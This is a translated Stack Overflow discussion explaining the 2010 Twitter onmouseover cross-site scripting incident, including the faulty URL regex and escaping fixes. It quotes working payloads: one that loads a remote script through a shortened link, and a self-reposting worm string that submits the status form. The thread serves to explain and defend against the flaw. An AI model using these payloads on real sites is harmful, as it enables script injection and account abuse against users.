今天在twitter.com上的XSS onmouseover攻击漏洞

52

你能解释一下今天在Twitter上到底发生了什么吗?基本上,这个漏洞导致人们发布了包含以下链接的推文:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

从技术上讲,这是否是XSS攻击还是其他什么攻击?

这是Twitter主页的样子:http://www.flickr.com/photos/travelist/6832853140/


1
这是一次XSS攻击,请参见http://twitter.com/safety/status/25118959058。 - Adam
好的,但我想看到更好的解释。它是如何工作的?我们能采取什么措施避免我们编写的代码出现这种漏洞? - ibz
1
另请参阅http://blog.twitter.com/2010/09/all-about-onmouseover-incident.html。 - Matt Ball
5个回答

38
漏洞的原因是URL没有被正确解析。例如,以下URL被发布到Twitter:
http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter将其视为URL。当它被解析时,Twitter会在该代码周围包装一个链接,因此现在的HTML看起来像:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

您可以看到,通过输入URL和尾部斜杠,Twitter认为它有一个有效的URL,即使其中包含引号,这允许它进行转义(即终止href属性,对于那些小心谨慎的人来说),并包含鼠标悬停。您可以将任何内容写入页面,包括关闭链接和包含脚本元素。此外,您不受140个字符限制的限制,因为您可以使用$.getScript()
如果被拉取,此提交将防止此XSS漏洞。
详细来说,冒犯的正则表达式是:
REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

@[^\/]+\/ 部分允许任何字符(除了正斜杠),当它以@符号为前缀并以正斜杠为后缀时。

通过更改为@#{REGEXEN[:valid_general_url_path_chars]}+\/,现在只允许有效的URL字符。


谁说反斜杠了?HTML编码带外字符通常也被认为是一种转义方式。 - bobince
@bobince 我不同意。在我看来,这与重新编码非常不同,而维基百科支持我的观点http://en.wikipedia.org/wiki/Escape_character - rook
@bobince 是的,但它不是 &',它不会创建一个字符字面单引号,而且这种字面性使得它在我的脑海中更加独特。虽然它正在创建一个字符的“替代解释”,但我认为这篇文章当前的措辞更清晰。 - rook
很酷,令人惊讶的是直到现在才被注意到。 - eds
非常好的解释!那么解决方案就是当你到达引号时将URL视为结束,对吧?关于如何在文本中检测URL的永恒讨论。http://www.codinghorror.com/blog/2008/10/the-problem-with-urls.html - ibz
显示剩余2条评论

15

是的,这是跨站脚本攻击(XSS),它攻击了一个JavaScript事件处理程序。这个XSS很酷的地方在于它不需要使用<>来进行利用。注入的字符串是:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"

size::999999999999px使其非常大,因此更有可能有人将鼠标移到上面。真正的问题是onmouseover=事件处理程序。

要在PHP中防止这种情况,您需要将引号转换为它们的HTML实体:$var=htmlspecialchars($var,ENT_QUOTES);

这是因为在HTML中无法像SQL中那样转义引号:\'


1
Rook,什么可以阻止这次攻击?是将引号转义吗? - Steven Sudit
2
@Rook:我相信你打错了——“ENT_QUOTS”应该是“ENT_QUOTES”。 - Stephen Watkins
2
@stjowa 这就是为什么 Stack Overflow 是维基风格的原因。 - rook
14
可以,但是stjowa没有足够的声望来更正您的错别字。 - Steven Sudit
2
从技术上讲,此特定示例中不需要 ENT_QUOTES,因为 htmlspecialchars() 默认情况下会转义 "。只有单引号字符 ' 没有 ENT_QUOTES 转义。虽然单引号用于属性分隔符的频率要比双引号少得多,但始终使用 ENT_QUOTES 是一个安全的选择。 - bobince
显示剩余7条评论

5
漏洞是一种经典的Javascript注入攻击。假设您编写了一条推文,其中包含以下文本:
"http://www.guardian.co.uk/technology is the best!"

当您查看 Twitter 网页时,这将成为一个链接,如下所示:
<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
 rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!

该漏洞攻击了链接创建函数。攻击推文的原始文本应该类似于这样:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
   $('.status-update-form').submit();"class="modal-overlay"/

Twitter没有做好保护工作,可能是因为“@”字符组合破坏了他们的[HTML]解析器。该链接将生成以下页面源代码:

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
 $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
      rel="nofollow">

这意味着可执行内容(onMouseOver="stuff"部分)已经包含在页面源代码中。由于浏览器并不知道这点,所以运行了这段代码。因为它是在用户的浏览器里运行的,所以它能够做任何用户可以做的事情;大多数变形都利用了这个功能重新发布内容,这就是为什么它像病毒一样传播开来。为了鼓励用户通过悬停来激活代码,它们还使用CSS [层叠样式表,用于确定页面布局]将该块格式化为黑底黑字。其他版本被用户入侵以产生各种其他效果,例如将成人网站重定向到其他地方,在推文中添加彩虹文本等等。其中一些弹出对话框旨在警告用户,称帐户被禁用或密码被盗(实际上都不是如此)。
Twitter解决此问题的方法不是阻止字符串onMouseOver(一些愚蠢的博客曾要求这样做),而是正确地净化输入。这些推文中的“引号”现在转换为HTML转义形式“&quot;”。
从技术上讲,这是一个二次注入攻击;攻击字符串被插入数据库并得到正确处理,但随后攻击发生在将字符串读回时。这并不是一个非常复杂的攻击,对于Twitter来说相当令人尴尬他们被这个问题抓住了。
来源:Twitter的黑客事件:它是如何开始和运作的

1

阅读其他人的评论,我对你的回答有点困惑。你说如何过滤掉JavaScript代码?(新手问题) - Zabba
@Zabba 这取决于你使用的框架。例如,Django和许多其他框架都内置了自动转义工具。基本上,这个想法是不要让用户输入文本并将其渲染到页面上,而不过滤脚本标记,可能是所有或大多数HTML标记,如果允许HTML标记,则删除其中的JavaScript事件处理程序。 - Adam

0

来自维基百科:“跨站脚本(XSS)是一种计算机安全漏洞,通常在Web应用程序中发现,使恶意攻击者能够将客户端脚本注入其他用户查看的Web页面中。”

今天的攻击对我来说很合适。

基本上,Twitter.com显示代码存在某种解析错误。当他们将URL转换为HTML超链接时,他们没有正确处理@字符,这导致javascript事件被插入到HTML链接中。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接